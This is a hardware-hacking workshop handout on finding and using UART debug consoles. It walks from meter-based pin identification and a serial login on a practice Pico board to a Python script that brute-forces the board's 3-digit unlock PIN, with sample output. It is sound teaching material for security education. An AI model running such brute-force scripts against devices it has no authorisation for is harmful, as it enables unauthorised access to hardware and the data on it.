ALL ABOUT UART.

borrowed for the hour, not yours to keep

the least fun part, let's get it out of the way

Grab a seat and get going. This handout is the whole workshop, start to finish, so read through it and work at your own pace. There's no lecture to wait on. Your first job is right below: plug the adapter only into your laptop and get your operating system talking to it. Setup is the thing that eats a workshop alive, so knock it out now while you read. If you get stuck, put your hand up and I'll come to you. I'll be walking the room the whole time.

$ sudo apt update
$ sudo apt install -y picocom python3-pip

# find your adapter
$ ls /dev/ttyUSB* /dev/ttyACM*
/dev/ttyUSB0

# grant access for today
$ sudo chmod a+rw /dev/ttyUSB0

$ pip install pyserial \
    --break-system-packages

$ brew install picocom
$ pip3 install pyserial

# find your adapter
$ ls /dev/tty.usb*
/dev/tty.usbserial-0001

the ten minute version

UART stands for Universal Asynchronous Receiver-Transmitter. It's a serial protocol from the 1960s that never went away, and it's the debug console manufacturers keep forgetting to remove. Frequently it's a root shell with no password on it.

The data frame, and why "8N1" is written on everything

The line idles HIGH. Every byte gets wrapped in a frame so the receiver can find it:

8N1 means 8 data bits, No parity, 1 stop bit. So 115200 8N1 is the full recipe, and it's one you'll end up typing a hundred times in your career.

The only slide that matters

the part that feels like magic the first time

On a real target there's no pinout and no silkscreen labels. You get a row of anonymous pads and a meter. This is the process I use on anything, and you're going to practise it on the Pico where you can actually check your answers.

The hunt, in order

1. Find ground first, board still off. Continuity mode. Put one probe on a known ground, the USB connector's metal shell is perfect, and go hunting with the other. The pin that beeps is GND, and on the Pico that's pin 3.
   Ground is always the easiest pin to find and it anchors everything else. On real hardware look for big copper pours, mounting holes, shield cans and USB shells.
2. Now power it up, and you need two wires. Run one wire from the adapter's +5V to pin 40 (VBUS), and a second from the adapter's GND to the pin 3 you just found. Then plug the adapter's USB into your laptop. The onboard LED should come on, which is your proof the firmware is running.
   Ground isn't optional here. Without it there's no return path, so no circuit and no power, and the board just sits there dark. Leave the other two wires off until Lab 2.
3. Find your logic level. Switch to DC volts with the black probe parked on the GND you found in step 1. Probe pin 36 and you'll get about 3.3V. Probe pin 39 (VSYS) and you'll get about 5V.
   You've just learned this is a 3.3V device, and I think that's the single most important thing to know before you connect anything to it.
4. Find TX, the pin that moves. Probe pin 1 (GP0) and you'll see about 3.3V, idling HIGH. Now power-cycle the Pico while you watch the display. The reading dips and flickers.
   That flicker is data. The board sends its boot log out of that pin every time it powers on, whether anything is listening or not.
5. RX by elimination. Probe pin 2 (GP1) and you'll get 0V. That looks like another ground, but your continuity test in step 1 already proved this pin isn't tied to ground. It's RX, sitting quiet because nothing is driving it yet.

Expected readings

pin 36 · 3V3	~3.3 V
pin 39 · VSYS	~5 V
pin 1 · GP0 (TX)	3.3 V, flickers
pin 2 · GP1 (RX)	0 V, no beep
pin 3 · GND	0 V, beeps

this is where you get your shell

The wiring

Open a serial terminal

$ picocom -b 115200 /dev/ttyUSB0

$ picocom -b 115200 /dev/tty.usbserial-0001

Connection type:  Serial
Serial line:      COM3        # whatever Device Manager showed you
Speed:            115200
→ Open

picocom prints its settings the moment it connects, and it's worth actually reading them:

port is        : /dev/ttyUSB0
flowcontrol    : none
baudrate is    : 115200
parity is      : none
databits are   : 8
stopbits are   : 1

Log in

1. Press Enter a couple of times. A blank screen usually just means the firmware is sitting at a prompt waiting for you.
2. The firmware has already filled in Username: admin for you, so there's nothing to type there. It goes straight to the password.
   Worth noticing: the device told you half the credentials without being asked.
3. At Password: type pico2 and press Enter.
4. Have a poke around the menu. 1 gives you login statistics, 2 gives you device information (board, chip, unique ID, baud rate, uptime). Leave 4 alone for now, that's Lab 3.

Now break it on purpose

Press Ctrl+A then Ctrl+U a few times to raise the baud rate, then hit Enter.

��x������h�����������`�������������p������������������

Remember what that looks like. That specific texture, lines of nonsense that are still roughly the right length, is the signature of a baud mismatch, and pretty much nothing else produces it. You will see this on real hardware, and now you'll recognise it straight away.

Get back with Ctrl+A Ctrl+B, then type 115200.

Exit cleanly, this one matters

forty lines of Python beats a thousand guesses

Everything you just did by hand in Lab 2, a script can do a thousand times a minute.

Reading this on paper? Both scripts are printed in full below, and the web version of this handout has one-click downloads for them: andrewbellini.com/uart

Step 1, read the port

Change one line, the port, then run it. Power-cycle the Pico and watch its boot log stream in.

#!/usr/bin/env python3
"""Read and display whatever the Pico sends over UART."""

import serial

# <<< CHANGE THIS ONE LINE >>>
# Linux:   '/dev/ttyUSB0'
# macOS:   '/dev/tty.usbserial-0001'
# Windows: 'COM3'
PORT = '/dev/ttyUSB0'

ser = serial.Serial(
    port     = PORT,
    baudrate = 115200,           # must match the firmware
    bytesize = serial.EIGHTBITS,   # the 8 ...
    parity   = serial.PARITY_NONE, # ... the N ...
    stopbits = serial.STOPBITS_ONE,# ... and the 1
    timeout  = 1,                # seconds before readline() gives up
)

print(f"Connected to {ser.name} at {ser.baudrate} baud")
print("Ctrl+C to exit\n")

try:
    while True:
        data = ser.readline()      # raw bytes, up to a newline
        if data:
            print(data.decode('utf-8', errors='replace').rstrip())
except KeyboardInterrupt:
    print("\nExiting...")
finally:
    ser.close()                    # always free the port

$ python3 read_uart.py

Step 2, find the lock

Hop back into picocom for thirty seconds and try menu option 4, Unlock by hand. It wants a 3-digit PIN. Try one, then exit picocom again.

Notice what's actually being attacked. I gave you the login password, so reaching the menu was never the hard part. The PIN behind Unlock is the thing nobody gave you, and that's what the script goes after.

Select option [1-5]: 4
Enter 3-digit PIN: 123
Incorrect PIN.
Press any key to continue...

Three digits, so 1,000 combinations. A computer doesn't get bored.

Step 3, brute force it

#!/usr/bin/env python3
"""Brute-force the UART Unlock PIN (000-999)."""

import serial, time

# <<< CHANGE THIS ONE LINE >>>
PORT     = '/dev/ttyUSB0'
PASSWORD = b'pico2\r'

def wait_for(ser, target, timeout=5):
    """Read until target shows up, or give up after timeout seconds."""
    start, buf = time.time(), ""
    while time.time() - start < timeout:
        data = ser.read(ser.in_waiting or 1)
        if data:
            buf += data.decode('utf-8', errors='replace')
        if target in buf:
            return buf
    return buf

def try_pin(ser, pin):
    """One attempt. True if the PIN was accepted."""
    ser.reset_input_buffer()          # drop leftovers from last round

    ser.write(b'4')                  # menu -> Unlock
    if "Enter 3-digit PIN:" not in wait_for(ser, "Enter 3-digit PIN:"):
        return False

    ser.write(pin.encode() + b'\r')   # the PIN, then Enter
    time.sleep(0.5)
    reply = ser.read(ser.in_waiting or 256).decode('utf-8', errors='replace')

    ser.write(b'\r')                 # dismiss "press any key"
    wait_for(ser, "Select option")     # back at the menu, ready for the next

    # We have never seen success. But we know failure exactly.
    # So: absence of the known failure == success.
    return 'Incorrect PIN' not in reply

def main():
    ser = serial.Serial(port=PORT, baudrate=115200, timeout=2)
    try:
        # Logging in is the easy part. The firmware fills in the username
        # itself, so the password is the only thing we have to send.
        print("Logging in...")
        ser.write(b'\r')                  # nudge it into showing a prompt
        wait_for(ser, "Password:")
        ser.write(PASSWORD)
        wait_for(ser, "Select option")   # matches "Select option [1-5]:"

        # Now the bit that is actually an attack: the PIN behind Unlock.

        print("Brute-forcing 000-999...\n")
        for n in range(1000):
            pin = f"{n:03d}"            # 7 -> "007"
            print(f"[{n+1:4d}/1000] {pin}", end="", flush=True)
            if try_pin(ser, pin):
                print(f"\n\n[+] PIN FOUND: {pin}")
                return
            print(" - nope")
    finally:
        ser.close()

if __name__ == '__main__':
    main()

$ python3 brute_pin.py
Logging in...
Brute-forcing 000-999...

[   1/1000] 000 - nope
[   2/1000] 001 - nope
...
[  67/1000] 066 - nope
[  68/1000] 067

[+] PIN FOUND: 067

put your hand up, that's what I'm here for

the actual point of the last hour

You just walked the whole chain. You found an undocumented debug interface with a $15 meter, talked to it with a $5 adapter, and got past its authentication with forty lines of Python. No exploit and no soldering iron.

I think this is the part people underestimate. That chain is real and it works on shipping consumer hardware, because manufacturers leave debug UART enabled and physically reachable. I frequently see devices with the debug console right there on the board, pads still populated. Somebody with five minutes alone can pull firmware, credentials and encryption keys off one, and the bigger risk is what that does for research, friendly or otherwise. An open console hands anyone holding a single unit the logs, the config and a live view of the device while it runs, which is how plenty of remotely exploitable bugs get found in the first place. Once one of those is out it works over the network against every unit of that model, with nobody touching the hardware.